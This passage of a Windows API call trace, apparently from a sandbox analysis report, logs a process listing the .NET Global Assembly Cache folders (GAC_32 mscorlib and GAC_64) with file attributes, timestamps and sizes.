	[0088.560] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\mscorlib" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\mscorlib"), fInfoLevelId=0x0, lpFileInformation=0x1261cff8 | out: lpFileInformation=0x1261cff8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x916f9560, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x916f9560, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x916f9560, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.560] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\mscorlib" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\mscorlib"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.560] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\mscorlib\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x916f9560, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x916f9560, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x916f9560, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.560] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x916f9560, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x916f9560, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x916f9560, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.560] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91687140, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5d24ec60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d24ec60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v4.0_4.0.0.0__b77a5c561934e089", cAlternateFileName="V40_40~1.0__")) returned 1
	[0088.560] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.560] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.560] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\mscorlib\\v4.0_4.0.0.0__b77a5c561934e089" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\mscorlib\\v4.0_4.0.0.0__b77a5c561934e089"), fInfoLevelId=0x0, lpFileInformation=0x1261d098 | out: lpFileInformation=0x1261d098*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91687140, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5d24ec60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d24ec60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0088.560] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\mscorlib\\v4.0_4.0.0.0__b77a5c561934e089" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\mscorlib\\v4.0_4.0.0.0__b77a5c561934e089"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.560] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\mscorlib\\v4.0_4.0.0.0__b77a5c561934e089\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91687140, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5d24ec60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d24ec60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.561] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91687140, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5d24ec60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d24ec60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.561] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5d24ec60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x53b8a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscorlib.dll", cAlternateFileName="")) returned 1
	[0088.561] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916d3400, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x916d3400, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x916d3400, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0xe7ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="normidna.nlp", cAlternateFileName="")) returned 1
	[0088.561] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916d3400, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x916d3400, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x916d3400, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0xb7e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="normnfc.nlp", cAlternateFileName="")) returned 1
	[0088.561] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916d3400, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x916d3400, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x916d3400, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x9e76, dwReserved0=0x0, dwReserved1=0x0, cFileName="normnfd.nlp", cAlternateFileName="")) returned 1
	[0088.561] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916d3400, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x916d3400, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x916d3400, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x108e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="normnfkc.nlp", cAlternateFileName="")) returned 1
	[0088.561] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916d3400, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x916d3400, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x916d3400, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0xf116, dwReserved0=0x0, dwReserved1=0x0, cFileName="normnfkd.nlp", cAlternateFileName="")) returned 1
	[0088.562] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.562] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.562] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\mscorlib\\v4.0_4.0.0.0__b77a5c561934e089\\mscorlib.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\mscorlib\\v4.0_4.0.0.0__b77a5c561934e089\\mscorlib.dll"), fInfoLevelId=0x0, lpFileInformation=0x1261d2c8 | out: lpFileInformation=0x1261d2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5d24ec60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x53b8a0)) returned 1
	[0088.563] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\mscorlib\\v4.0_4.0.0.0__b77a5c561934e089\\normidna.nlp" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\mscorlib\\v4.0_4.0.0.0__b77a5c561934e089\\normidna.nlp"), fInfoLevelId=0x0, lpFileInformation=0x1261d318 | out: lpFileInformation=0x1261d318*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916d3400, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x916d3400, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x916d3400, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0xe7ce)) returned 1
	[0088.564] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\mscorlib\\v4.0_4.0.0.0__b77a5c561934e089\\normnfc.nlp" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\mscorlib\\v4.0_4.0.0.0__b77a5c561934e089\\normnfc.nlp"), fInfoLevelId=0x0, lpFileInformation=0x1261d368 | out: lpFileInformation=0x1261d368*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916d3400, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x916d3400, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x916d3400, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0xb7e4)) returned 1
	[0088.564] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\mscorlib\\v4.0_4.0.0.0__b77a5c561934e089\\normnfd.nlp" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\mscorlib\\v4.0_4.0.0.0__b77a5c561934e089\\normnfd.nlp"), fInfoLevelId=0x0, lpFileInformation=0x1261d3b8 | out: lpFileInformation=0x1261d3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916d3400, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x916d3400, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x916d3400, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x9e76)) returned 1
	[0088.564] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\mscorlib\\v4.0_4.0.0.0__b77a5c561934e089\\normnfkc.nlp" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\mscorlib\\v4.0_4.0.0.0__b77a5c561934e089\\normnfkc.nlp"), fInfoLevelId=0x0, lpFileInformation=0x1261d408 | out: lpFileInformation=0x1261d408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916d3400, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x916d3400, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x916d3400, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x108e0)) returned 1
	[0088.565] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\mscorlib\\v4.0_4.0.0.0__b77a5c561934e089\\normnfkd.nlp" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\mscorlib\\v4.0_4.0.0.0__b77a5c561934e089\\normnfkd.nlp"), fInfoLevelId=0x0, lpFileInformation=0x1261d458 | out: lpFileInformation=0x1261d458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916d3400, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x916d3400, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x916d3400, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0xf116)) returned 1
	[0088.565] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64"), fInfoLevelId=0x0, lpFileInformation=0x1261d4a8 | out: lpFileInformation=0x1261d4a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93128760, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xa5d5ebe0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa5d5ebe0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.565] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.565] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\*", lpFindFileData=0x12415918 | out: lpFindFileData=0x12415918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93128760, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xa5d5ebe0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa5d5ebe0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.566] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93128760, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xa5d5ebe0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa5d5ebe0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.566] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93317940, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93317940, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93317940, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CustomMarshalers", cAlternateFileName="CUSTOM~1")) returned 1
	[0088.567] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93128760, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93128760, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93128760, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ISymWrapper", cAlternateFileName="ISYMWR~1")) returned 1
	[0088.567] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93eb2480, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93eb2480, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93eb2480, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Transactions.Bridge.Dtc", cAlternateFileName="MICROS~1.DTC")) returned 1
	[0088.567] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93fbce20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93fbce20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93fbce20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualBasic.Activities.Compiler", cAlternateFileName="MICROS~1.COM")) returned 1
	[0088.567] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9320cfa0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9320cfa0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x9320cfa0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscorlib", cAlternateFileName="")) returned 1
	[0088.567] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94648aa0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x94648aa0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x94648aa0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationCore", cAlternateFileName="PRESEN~1")) returned 1
	[0088.567] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x935eb360, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x935eb360, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x935eb360, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data", cAlternateFileName="SYSTEM~1.DAT")) returned 1
	[0088.567] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa48b0cc0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa48b0cc0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa48b0cc0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.OracleClient", cAlternateFileName="SYSTEM~1.ORA")) returned 1
	[0088.567] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93233100, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93259260, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93259260, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.EnterpriseServices", cAlternateFileName="SYSTEM~1.ENT")) returned 1
	[0088.567] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9458a3c0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9458a3c0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x9458a3c0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Printing", cAlternateFileName="SYSTEM~1.PRI")) returned 1
	[0088.567] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x944a5b80, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x944a5b80, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x944a5b80, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Transactions", cAlternateFileName="SYSTEM~1.TRA")) returned 1
	[0088.567] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5d5ebe0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa5d5ebe0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa5d5ebe0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web", cAlternateFileName="")) returned 1
	[0088.567] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.567] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.568] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\CustomMarshalers" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\custommarshalers"), fInfoLevelId=0x0, lpFileInformation=0x1261d8b8 | out: lpFileInformation=0x1261d8b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93317940, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93317940, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93317940, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.569] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\CustomMarshalers" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\custommarshalers"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.569] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\CustomMarshalers\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93317940, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93317940, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93317940, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.569] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93317940, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93317940, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93317940, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.569] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93317940, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x59066b40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x59066b40, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v4.0_4.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="V40_40~1.0__")) returned 1
